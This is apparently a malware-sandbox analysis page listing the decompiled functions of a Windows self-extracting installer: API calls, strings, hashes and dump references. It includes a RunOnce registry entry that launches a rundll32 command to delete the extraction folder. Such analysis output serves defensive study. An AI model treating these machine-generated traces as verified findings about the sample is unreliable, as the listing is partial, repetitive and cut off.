Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 9e323835d506f51cc7a67e50ae50703924f5ed1236e96b84bd81cf3a348c6023
Instruction ID: ec84a6862458a27e7fda4a8eb000b19331f3a69017c010f73f58183689738b48
Opcode Fuzzy Hash: 9e323835d506f51cc7a67e50ae50703924f5ed1236e96b84bd81cf3a348c6023
Instruction Fuzzy Hash: A041A875E0012CAFDBA89B64DC89AFA77BDFF55700F0480A5F545D2190DBB04E858FA1

Uniqueness

Uniqueness Score: -1.00%

Function 00802267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 008022A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000000,?,?,00000001), ref: 008022D8
memset.MSVCRT ref: 008022F5
GetSystemDirectoryA.KERNEL32 ref: 00802305
RegSetValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 0080236E
RegCloseKey.ADVAPI32(?), ref: 0080237A

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00802321
wextract_cleanup0, xrefs: 0080227C, 008022CD, 00802363
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 0080232D
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00802299

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 3027380567-2036266374
Opcode ID: 7c42185aad361c6413a1f541924357553871a8df5b4fddba9b621d0e7980e79c
Instruction ID: f5d4bad00152ce59f1f7804c3f263ad637408b3b6e770961859c55541a97f2f9
Opcode Fuzzy Hash: 7c42185aad361c6413a1f541924357553871a8df5b4fddba9b621d0e7980e79c
Instruction Fuzzy Hash: E931C571A00218ABDBA59B55DC49FEA7B7CFF14700F0001A9B54DE6191EA74AB88CA50

Uniqueness

Uniqueness Score: -1.00%

Function 00803100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 0080313B
GetDesktopWindow.USER32 ref: 0080314B
SetDlgItemTextA.USER32(?,00000834), ref: 0080316A
SetWindowTextA.USER32(?,no230), ref: 00803176
SetForegroundWindow.USER32(?), ref: 0080317D
GetDlgItem.USER32(?,00000834), ref: 00803185
GetWindowLongA.USER32(00000000,000000FC), ref: 00803190
SetWindowLongA.USER32(00000000,000000FC,008030C0), ref: 008031A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 008031CA

Strings

no230, xrefs: 00803170

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: no230
API String ID: 3785188418-1983429894
Opcode ID: 948ff04e8fa59ffdd3093ec0c233fe61e7f41db72cb3a3fb03b05d8cdb881eec
Instruction ID: 43b28454a96cda37841d365c2ebbb2f3093872107eb3aac4b1dc2c6505ec8aca
Opcode Fuzzy Hash: 948ff04e8fa59ffdd3093ec0c233fe61e7f41db72cb3a3fb03b05d8cdb881eec
Instruction Fuzzy Hash: 6711D331245315FFDBD55F24AC0DF5A3A68FB4E720F100620F866D11E0DBB58681C782

Uniqueness

Uniqueness Score: -1.00%

Function 0080468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046A0
SizeofResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046C3
LoadResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046CC
LockResource.KERNEL32(00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046D3
memcpy_s.MSVCRT ref: 008046E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008046EF

Strings

no230, xrefs: 008046E4
TITLE, xrefs: 0080469D, 008046C0

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$no230
API String ID: 3370778649-2866258717
Opcode ID: 9103664a2bfbee2a677502568c8899126117c7ef1bb8854a9bb47d563bd395f9
Instruction ID: 10edd829fe25cdea2c349f57a964f45824dd961b0f72d1782344d5d53f82918d
Opcode Fuzzy Hash: 9103664a2bfbee2a677502568c8899126117c7ef1bb8854a9bb47d563bd395f9
Instruction Fuzzy Hash: 9701D6722803047BF3A417A59C0CF2B3E2CFBC6B51F040024FB4AC6180D9A2884082A2

Uniqueness

Uniqueness Score: -1.00%

Function 008017EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,008018DD), ref: 0080181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0080182C
AllocateAndInitializeSid.ADVAPI32(008018DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,008018DD), ref: 00801855
FreeSid.ADVAPI32(?,?,?,?,008018DD), ref: 00801883
FreeLibrary.KERNEL32(00000000,?,?,?,008018DD), ref: 0080188A

Strings

CheckTokenMembership, xrefs: 00801826
advapi32.dll, xrefs: 00801810

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: b0d94910e47dea0d29fa62fe576e918821c6883ad7664770fbd773e0f45e3759
Instruction ID: cd1878e145c1feb0279bdc7190b7c502aceb1b430088c8de62420ed7b84eaf5e
Opcode Fuzzy Hash: b0d94910e47dea0d29fa62fe576e918821c6883ad7664770fbd773e0f45e3759
Instruction Fuzzy Hash: A7115E71E00309EBEB549FA4DC49ABEBBB8FF48711F104169FA15E2290DA709D048B91

Uniqueness

Uniqueness Score: -1.00%

Function 00803450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 00803490
GetDesktopWindow.USER32 ref: 0080349A
SetWindowTextA.USER32(?,no230), ref: 008034B2
SetDlgItemTextA.USER32(?,00000838), ref: 008034C4
SetForegroundWindow.USER32(?), ref: 008034CB
EndDialog.USER32(?,00000002), ref: 008034D8

Strings

no230, xrefs: 008034AC

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: no230
API String ID: 852535152-1983429894
Opcode ID: 3d903b636b29137561771e500900bfc001624c0bb661ae03926673534e6af229
Instruction ID: a5f45e5bb1b9f9b05cc59bd5de6c87c8d8cab64b154d73ddd4f002297c4a4525
Opcode Fuzzy Hash: 3d903b636b29137561771e500900bfc001624c0bb661ae03926673534e6af229
Instruction Fuzzy Hash: 8601B131240618ABC7DA5F68DC0C96D3A68FB1A700F004011FA47CA5E0CB718F81CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00802AAC Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00802AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00802AF2
CharNextA.USER32(?), ref: 00802B12
CharUpperA.USER32 ref: 00802B1E
CharPrevA.USER32(?,?), ref: 00802B55
CharNextA.USER32(?), ref: 00802BD4

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 11bac3d40b2af6014e5a762f9214b7f7daf0078eaedd2cac8df941df5a6026b7
Instruction ID: 721e38f871e63b8cddf049fa5f7d1c3e5e48bcc01e14404e330a8c4f651ed3d4
Opcode Fuzzy Hash: 11bac3d40b2af6014e5a762f9214b7f7daf0078eaedd2cac8df941df5a6026b7
Instruction Fuzzy Hash: 9F41F6345042459EDF999F348C68AFD7BA9FF56320F14019AE8C2D3282DBB54E86CB91

Uniqueness

Uniqueness Score: -1.00%

Function 008043D0 Relevance: 10.6, APIs: 7, Instructions: 97COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 008043F1
GetWindowRect.USER32(00000000,?), ref: 0080440B
GetDC.USER32(?), ref: 00804423
GetDeviceCaps.GDI32(00000000,00000008), ref: 0080442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0080443A
ReleaseDC.USER32(?,00000000), ref: 00804447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,?), ref: 008044A2

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 7282c2f13abd0a2f97425b68b290a7b7a2a6d2bd55b1c5b06993ede524ed4b9f
Instruction ID: f479f0ca174476b0e4cd80d376b276ca7dbef1ad6fe4e52273eab62d87677659
Opcode Fuzzy Hash: 7282c2f13abd0a2f97425b68b290a7b7a2a6d2bd55b1c5b06993ede524ed4b9f
Instruction Fuzzy Hash: E5316072E01619AFCB14CFB8DD889EEBBB5FB89310F154169F905F3290DA306C058B64

Uniqueness

Uniqueness Score: -1.00%

Function 00806298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 0080171E: _vsnprintf.MSVCRT ref: 00801750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,008051CA,00000004,00000024,00802F71,?,00000002,00000000), ref: 008062CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,008051CA,00000004,00000024,00802F71,?,00000002,00000000), ref: 008062D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,008051CA,00000004,00000024,00802F71,?,00000002,00000000), ref: 0080631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00806345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,008051CA,00000004,00000024,00802F71,?,00000002,00000000), ref: 00806357

Strings

UPDFILE%lu, xrefs: 008062B3, 00806329

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 52c2c69f5426302af85b6bdfc5255c1f659280644779f294447a10c1e9d6ce6c
Instruction ID: efefb2be1b3e79a2ad4e30c48f14368165a8f6feb6918da69324e99f4c6acc41
Opcode Fuzzy Hash: 52c2c69f5426302af85b6bdfc5255c1f659280644779f294447a10c1e9d6ce6c
Instruction Fuzzy Hash: F121F371A00219AFDB549F649C499BFBB78FF49714B010129F902E3281EB799D228BE1

Uniqueness

Uniqueness Score: -1.00%

Function 0080681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0080686E
GetSystemMetrics.USER32(0000004A), ref: 008068A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 008068CC
RegQueryValueExA.ADVAPI32(?,00801140,00000000,?,?,0000000C), ref: 008068F4
RegCloseKey.ADVAPI32(?), ref: 00806902

Part of subcall function 008066F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,0080691A), ref: 00806741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 008068C2

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 3ce60dbcf1b1f69e7764dd5587c62e78e049ccf95ffa283205353d249df3c5e3
Instruction ID: e2a6b0312353d3849450f95003853b7bc1c38e30cd69ea7c08ba4ce6bab82f1a
Opcode Fuzzy Hash: 3ce60dbcf1b1f69e7764dd5587c62e78e049ccf95ffa283205353d249df3c5e3
Instruction Fuzzy Hash: 3C316431A00329DFDBB1CB21CC45BAA7B78FF45764F0001A5E989E2180EB709DA5CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00803A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046A0
Part of subcall function 0080468F: SizeofResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046A9
Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046C3
Part of subcall function 0080468F: LoadResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046CC
Part of subcall function 0080468F: LockResource.KERNEL32(00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046D3
Part of subcall function 0080468F: memcpy_s.MSVCRT ref: 008046E5
Part of subcall function 0080468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008046EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00802F64,?,00000002,00000000), ref: 00803A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00803AB3

Part of subcall function 008044B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00804518
Part of subcall function 008044B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00804554

Part of subcall function 00806285: GetLastError.KERNEL32(00805BBC), ref: 00806285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00803AD0
LocalFree.KERNEL32 ref: 00803B13

Part of subcall function 00806517: FindResourceA.KERNEL32(00800000,000007D6,00000005), ref: 0080652A
Part of subcall function 00806517: LoadResource.KERNEL32(00800000,00000000,?,?,00802EE8,00000000,008019E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00806538
Part of subcall function 00806517: DialogBoxIndirectParamA.USER32(00800000,00000000,00000547,008019E0,00000000), ref: 00806557
Part of subcall function 00806517: FreeResource.KERNEL32(00000000,?,?,00802EE8,00000000,008019E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00806560

LocalFree.KERNEL32(00000000,00803100,00000000,00000000), ref: 00803AF4

Strings

LICENSE, xrefs: 00803A46
<None>, xrefs: 00803AC5

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 5b74f2db0ca5e9e2a56eb0935303e3194672e2864c2c25ec6006f57e69af4ef2
Instruction ID: 948cf16e061baa46edef866ca5b1b4d137921e7b74e36195be8a37b8a0e3219c
Opcode Fuzzy Hash: 5b74f2db0ca5e9e2a56eb0935303e3194672e2864c2c25ec6006f57e69af4ef2
Instruction Fuzzy Hash: 0211D671301705EBD7E4AF36AC09E173ABDFFD9710B10452EBA81D62F1EA7988108665

Uniqueness

Uniqueness Score: -1.00%

Function 008024E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00802506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 0080252C
_lopen.KERNEL32 ref: 0080253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 0080254C
_lclose.KERNEL32(00000000), ref: 00802555

Strings

wininit.ini, xrefs: 00802510

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: d8e0af395574f3e54e04b307b5893e975028ba7288e3461adeabc5302d77ef8f
Instruction ID: e1b8b3c6417c22bdc97334eb62be381ea43b599a218e24f046a9d79a5a7d80fc
Opcode Fuzzy Hash: d8e0af395574f3e54e04b307b5893e975028ba7288e3461adeabc5302d77ef8f
Instruction Fuzzy Hash: BF01B532600628ABD7A0DB699C0CEDF7B7CFF45760F000155FA49D3190DE748E45CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 008036EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00803723
MessageBeep.USER32(00000000), ref: 008039C3
MessageBoxA.USER32(00000000,00000000,no230,00000030), ref: 008039F1

Strings

3, xrefs: 00803785
no230, xrefs: 008039E9, 00803A19

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$no230
API String ID: 2519184315-683699594
Opcode ID: ece90e9b500723791f77156b744850170704186f99f43250219136af8b3cdbe5
Instruction ID: 3774bd12de796ac5a840bb5699322a424958ee54c97b7a84528bc7864362c436
Opcode Fuzzy Hash: ece90e9b500723791f77156b744850170704186f99f43250219136af8b3cdbe5
Instruction Fuzzy Hash: E391C571B012289FEBF58B19CC81BAA77A9FF86304F1541A9D989E72D1D7708F81CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00806495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 008064DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 008064F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 00806502

Strings

advpack.dll, xrefs: 008064C2, 008064CD, 00806501
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008064AC

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-3680919256
Opcode ID: 84b0e6ad7fb134197c03a0005f9d34aa68910f3f2519a7462ae06c6b04ff1d23
Instruction ID: 3d0982bbc2eac371b8a68fa5cdb7b485d2d08cb5365cbe7ff90ad6b73b08c4a1
Opcode Fuzzy Hash: 84b0e6ad7fb134197c03a0005f9d34aa68910f3f2519a7462ae06c6b04ff1d23
Instruction Fuzzy Hash: 0D01D130A00208EBEBD4DB68DC49AEE7378FB65310F500195F585D21D0EFB09EAA8A52

Uniqueness

Uniqueness Score: -1.00%

Function 008028E8 Relevance: 7.6, APIs: 5, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00802A6F

Part of subcall function 00802773: CharUpperA.USER32(1884D968,00000000,00000000,00000000), ref: 008027A8
Part of subcall function 00802773: CharNextA.USER32(0000054D), ref: 008027B5
Part of subcall function 00802773: CharNextA.USER32(00000000), ref: 008027BC
Part of subcall function 00802773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00802829
Part of subcall function 00802773: RegQueryValueExA.ADVAPI32(?,00801140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00802852
Part of subcall function 00802773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00802870
Part of subcall function 00802773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 008028A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00803938,?,?,?,?,-00000005), ref: 00802958
GlobalLock.KERNEL32 ref: 00802969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,00803938,?,?,?,?,-00000005,?), ref: 00802A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 00802A81

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

